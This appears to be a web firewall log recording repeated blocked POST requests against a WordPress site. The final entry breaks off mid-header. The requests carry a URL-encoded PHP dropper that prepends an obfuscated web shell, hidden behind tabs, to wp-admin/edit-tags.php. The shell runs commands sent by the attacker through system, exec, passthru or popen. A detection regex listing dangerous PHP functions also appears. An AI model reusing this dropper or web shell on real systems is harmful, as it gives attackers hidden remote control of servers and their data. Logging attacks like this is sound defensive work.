["2026-05-12 16:55:17","50.6.7.129","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage3%2520%253D%2520%2522exec%2522%253B%2520%2524api_gateway%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bin%2522%253B%2520%2524data_storage5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524data_storage2%2520%253D%2520%2522s%255Cx68el%255Cx6C%255Cx5Fe%255Cx78e%255Cx63%2522%253B%2520%2524data_storage7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524data_storage1%2520%253D%2520%2522s%255Cx79st%255Cx65%255Cx6D%2522%253B%2520%2524data_storage6%2520%253D%2520%2522str%255Cx65a%255Cx6D%255Cx5Fge%255Cx74_%255Cx63on%255Cx74en%255Cx74%255Cx73%2522%253B%2520%2524data_storage4%2520%253D%2520%2522%255Cx70a%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524pointer%2520%252C%2520%2524parameter_group%2520%2529%2520%257B%2520%2524desc%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524desc.%253Dchr%2528ord%2528%2524pointer%255B%2524e%255D%2529%255E%2524parameter_group%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524desc%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524api_gateway%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520secure_access%2528%2524data_chunk%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524data_storage1%2529%2529%2520%257B%2520%2524data_storage1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage2%2529%2529%2520%257B%2520print%2520%2524data_storage2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage3%2529%2529%2520%257B%2520%2524data_storage3%2528%2524data_chunk%252C%2520%2524record_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524record_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage4%2529%2529%2520%257B%2520%2524data_storage4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage5%2529%2520%2526%2526%2520function_exists%2528%2524data_storage6%2529%2520%2526%2526%2520function_exists%2528%2524data_storage7%2529%2529%2520%257B%2520%2524parameter_group_desc%2520%253D%2520%2524data_storage5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524parameter_group_desc%2529%2520%257B%2520%2524obj_k%2520%253D%2520%2524data_storage6%2528%2524parameter_group_desc%2529%253B%2520%2524data_storage7%2528%2524parameter_group_desc%2529%253B%2520print%2520%2524obj_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:5398\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoxxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nnI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage3%2520%253D%2520%2522exec%2522%253B%2520%2524api_gateway%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bin%2522%253B%2520%2524data_storage5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524data_storage2%2520%253D%2520%2522s%255Cx68el%255Cx6C%255Cx5Fe%255Cx78e%255Cx63%2522%253B%2520%2524data_storage7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524data_storage1%2520%253D%2520%2522s%255Cx79st%255Cx65%255Cx6D%2522%253B%2520%2524data_storage6%2520%253D%2520%2522str%255Cx65a%255Cx6D%255Cx5Fge%255Cx74_%255Cx63on%255Cx74en%255Cx74%255Cx73%2522%253B%2520%2524data_storage4%2520%253D%2520%2522%255Cx70a%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524pointer%2520%252C%2520%2524parameter_group%2520%2529%2520%257B%2520%2524desc%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524desc.%253Dchr%2528ord%2528%2524pointer%255B%2524e%255D%2529%255E%2524parameter_group%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524desc%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524api_gateway%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520secure_access%2528%2524data_chunk%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524data_storage1%2529%2529%2520%257B%2520%2524data_storage1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage2%2529%2529%2520%257B%2520print%2520%2524data_storage2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage3%2529%2529%2520%257B%2520%2524data_storage3%2528%2524data_chunk%252C%2520%2524record_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524record_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage4%2529%2529%2520%257B%2520%2524data_storage4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage5%2529%2520%2526%2526%2520function_exists%2528%2524data_storage6%2529%2520%2526%2526%2520function_exists%2528%2524data_storage7%2529%2529%2520%257B%2520%2524parameter_group_desc%2520%253D%2520%2524data_storage5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524parameter_group_desc%2529%2520%257B%2520%2524obj_k%2520%253D%2520%2524data_storage6%2528%2524parameter_group_desc%2529%253B%2520%2524data_storage7%2528%2524parameter_group_desc%2529%253B%2520print%2520%2524obj_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:55:30","171.244.34.150","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> YQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage3%2520%253D%2520%2522exec%2522%253B%2520%2524api_gateway%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bin%2522%253B%2520%2524data_storage5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524data_storage2%2520%253D%2520%2522s%255Cx68el%255Cx6C%255Cx5Fe%255Cx78e%255Cx63%2522%253B%2520%2524data_storage7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524data_storage1%2520%253D%2520%2522s%255Cx79st%255Cx65%255Cx6D%2522%253B%2520%2524data_storage6%2520%253D%2520%2522str%255Cx65a%255Cx6D%255Cx5Fge%255Cx74_%255Cx63on%255Cx74en%255Cx74%255Cx73%2522%253B%2520%2524data_storage4%2520%253D%2520%2522%255Cx70a%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524pointer%2520%252C%2520%2524parameter_group%2520%2529%2520%257B%2520%2524desc%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524desc.%253Dchr%2528ord%2528%2524pointer%255B%2524e%255D%2529%255E%2524parameter_group%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524desc%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524api_gateway%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520secure_access%2528%2524data_chunk%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524data_storage1%2529%2529%2520%257B%2520%2524data_storage1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage2%2529%2529%2520%257B%2520print%2520%2524data_storage2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage3%2529%2529%2520%257B%2520%2524data_storage3%2528%2524data_chunk%252C%2520%2524record_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524record_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage4%2529%2529%2520%257B%2520%2524data_storage4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage5%2529%2520%2526%2526%2520function_exists%2528%2524data_storage6%2529%2520%2526%2526%2520function_exists%2528%2524data_storage7%2529%2529%2520%257B%2520%2524parameter_group_desc%2520%253D%2520%2524data_storage5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524parameter_group_desc%2529%2520%257B%2520%2524obj_k%2520%253D%2520%2524data_storage6%2528%2524parameter_group_desc%2529%253B%2520%2524data_storage7%2528%2524parameter_group_desc%2529%253B%2520print%2520%2524obj_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJIRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5398\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-site:none\n\nYQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage3%2520%253D%2520%2522exec%2522%253B%2520%2524api_gateway%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bin%2522%253B%2520%2524data_storage5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524data_storage2%2520%253D%2520%2522s%255Cx68el%255Cx6C%255Cx5Fe%255Cx78e%255Cx63%2522%253B%2520%2524data_storage7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524data_storage1%2520%253D%2520%2522s%255Cx79st%255Cx65%255Cx6D%2522%253B%2520%2524data_storage6%2520%253D%2520%2522str%255Cx65a%255Cx6D%255Cx5Fge%255Cx74_%255Cx63on%255Cx74en%255Cx74%255Cx73%2522%253B%2520%2524data_storage4%2520%253D%2520%2522%255Cx70a%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524pointer%2520%252C%2520%2524parameter_group%2520%2529%2520%257B%2520%2524desc%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524desc.%253Dchr%2528ord%2528%2524pointer%255B%2524e%255D%2529%255E%2524parameter_group%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524desc%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524api_gateway%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520secure_access%2528%2524data_chunk%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524data_storage1%2529%2529%2520%257B%2520%2524data_storage1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage2%2529%2529%2520%257B%2520print%2520%2524data_storage2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage3%2529%2529%2520%257B%2520%2524data_storage3%2528%2524data_chunk%252C%2520%2524record_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524record_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage4%2529%2529%2520%257B%2520%2524data_storage4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage5%2529%2520%2526%2526%2520function_exists%2528%2524data_storage6%2529%2520%2526%2526%2520function_exists%2528%2524data_storage7%2529%2529%2520%257B%2520%2524parameter_group_desc%2520%253D%2520%2524data_storage5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524parameter_group_desc%2529%2520%257B%2520%2524obj_k%2520%253D%2520%2524data_storage6%2528%2524parameter_group_desc%2529%253B%2520%2524data_storage7%2528%2524parameter_group_desc%2529%253B%2520print%2520%2524obj_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:55:35","47.242.236.143","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Rp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage3%2520%253D%2520%2522exec%2522%253B%2520%2524api_gateway%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bin%2522%253B%2520%2524data_storage5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524data_storage2%2520%253D%2520%2522s%255Cx68el%255Cx6C%255Cx5Fe%255Cx78e%255Cx63%2522%253B%2520%2524data_storage7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524data_storage1%2520%253D%2520%2522s%255Cx79st%255Cx65%255Cx6D%2522%253B%2520%2524data_storage6%2520%253D%2520%2522str%255Cx65a%255Cx6D%255Cx5Fge%255Cx74_%255Cx63on%255Cx74en%255Cx74%255Cx73%2522%253B%2520%2524data_storage4%2520%253D%2520%2522%255Cx70a%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524pointer%2520%252C%2520%2524parameter_group%2520%2529%2520%257B%2520%2524desc%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524desc.%253Dchr%2528ord%2528%2524pointer%255B%2524e%255D%2529%255E%2524parameter_group%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524desc%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524api_gateway%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520secure_access%2528%2524data_chunk%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524data_storage1%2529%2529%2520%257B%2520%2524data_storage1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage2%2529%2529%2520%257B%2520print%2520%2524data_storage2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage3%2529%2529%2520%257B%2520%2524data_storage3%2528%2524data_chunk%252C%2520%2524record_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524record_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage4%2529%2529%2520%257B%2520%2524data_storage4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage5%2529%2520%2526%2526%2520function_exists%2528%2524data_storage6%2529%2520%2526%2526%2520function_exists%2528%2524data_storage7%2529%2529%2520%257B%2520%2524parameter_group_desc%2520%253D%2520%2524data_storage5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524parameter_group_desc%2529%2520%257B%2520%2524obj_k%2520%253D%2520%2524data_storage6%2528%2524parameter_group_desc%2529%253B%2520%2524data_storage7%2528%2524parameter_group_desc%2529%253B%2520print%2520%2524obj_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:5398\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHaNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft 